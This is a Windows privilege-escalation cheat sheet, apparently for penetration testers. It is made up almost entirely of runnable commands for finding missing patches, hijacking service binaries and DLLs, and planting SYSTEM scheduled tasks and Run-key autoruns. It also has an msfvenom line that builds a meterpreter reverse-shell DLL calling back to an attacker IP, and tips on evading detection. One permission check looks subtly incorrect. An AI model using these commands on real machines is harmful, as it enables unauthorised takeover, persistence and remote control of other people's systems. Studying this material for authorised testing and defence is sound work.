Windows Privilege Escalation

Overview

Privilege escalation in Windows involves techniques to gain higher-level access, typically from a normal user to SYSTEM or Domain Admin privileges.

Kernel Exploits

1. System Information

# OS Version
systeminfo
Get-WmiObject -Class Win32_OperatingSystem

# Hotfixes
wmic qfe list
Get-HotFix

# Architecture
wmic os get osarchitecture
[Environment]::Is64BitOperatingSystem

2. Exploit Search

# Manual Search
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"Hotfix(s)"

# Automated Tools
.\windows-exploit-suggester.py --database 2021-03-23-mssb.xls --systeminfo systeminfo.txt
.\Sherlock.ps1 -Command "Find-AllVulns"

3. Exploit Execution

# Compile Exploit
cl.exe /EHsc exploit.cpp
link.exe exploit.obj

# Run Exploit
.\exploit.exe

Service Exploitation

1. Service Enumeration

# List Services
Get-Service
Get-WmiObject -Class Win32_Service

# Service Permissions
Get-Acl -Path "HKLM:\System\CurrentControlSet\Services\*" | Format-List
Get-Service | Get-Member -MemberType Property

2. Service Misconfiguration

# Unquoted Service Path
Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -notlike '"*"' -and $_.PathName -like '* *' }

# Weak Service Permissions
Get-Service | ForEach-Object { $service = $_; $acl = Get-Acl "HKLM:\System\CurrentControlSet\Services\$($service.Name)"; if ($acl.Access.FileSystemRights -match 'Write|Modify') { $service.Name } }

3. Service Manipulation

# Modify Service
sc.exe config <service> binPath= "C:\path\to\malicious.exe"
sc.exe config <service> obj= "LocalSystem"

# Start Service
sc.exe start <service>
Start-Service -Name <service>

DLL Hijacking

1. DLL Search Order

# Check DLL Search Order
Get-ChildItem -Path $env:Path -Recurse -Filter *.dll
Get-ChildItem -Path "C:\Windows\System32" -Filter *.dll

# Find Missing DLLs
Get-EventLog -LogName System -Source "Service Control Manager" | Where-Object { $_.Message -like "*DLL*" }

2. DLL Injection

# Create Malicious DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f dll -o malicious.dll

# Inject DLL
rundll32.exe malicious.dll,EntryPoint

Scheduled Tasks

1. Task Enumeration

# List Tasks
schtasks /query /fo LIST /v
Get-ScheduledTask
Get-WmiObject -Class Win32_ScheduledJob

# Task Permissions
Get-ScheduledTask | ForEach-Object { $task = $_; $acl = Get-Acl "C:\Windows\System32\Tasks\$($task.TaskName)"; if ($acl.Access.FileSystemRights -match 'Write|Modify') { $task.TaskName } }

2. Task Creation

# Create Task
schtasks /create /tn "Update" /tr "C:\path\to\malicious.exe" /sc onlogon /ru SYSTEM
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\malicious.exe") -Trigger (New-ScheduledTaskTrigger -AtLogon) -Principal (New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount) | Register-ScheduledTask -TaskName "Update"

Registry Exploitation

1. Registry Enumeration

# AutoRun Keys
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

# AlwaysInstallElevated
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated
Get-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated

2. Registry Modification

# Add AutoRun
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\path\to\malicious.exe"

# Enable AlwaysInstallElevated
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -Value 1
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -Value 1

Tools

1. Primary Tools

• PowerUp

• WinPEAS

• Sherlock

• Windows-Exploit-Suggester

• Seatbelt

2. Additional Tools

• PowerSploit

• Empire

• Covenant

• Cobalt Strike

• Sliver

Best Practices

1. Escalation Strategy

• Start with low-risk techniques

• Use multiple methods

• Document findings

• Test safely

• Follow engagement scope

2. OPSEC Considerations

• Use stealth techniques

• Avoid detection

• Monitor for alerts

• Use legitimate tools

• Follow engagement scope

Resources

• HackTricks Windows

• PayloadsAllTheThings

• Red Team Notes

• MITRE ATT&CK

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Last Updated: 2025-03-23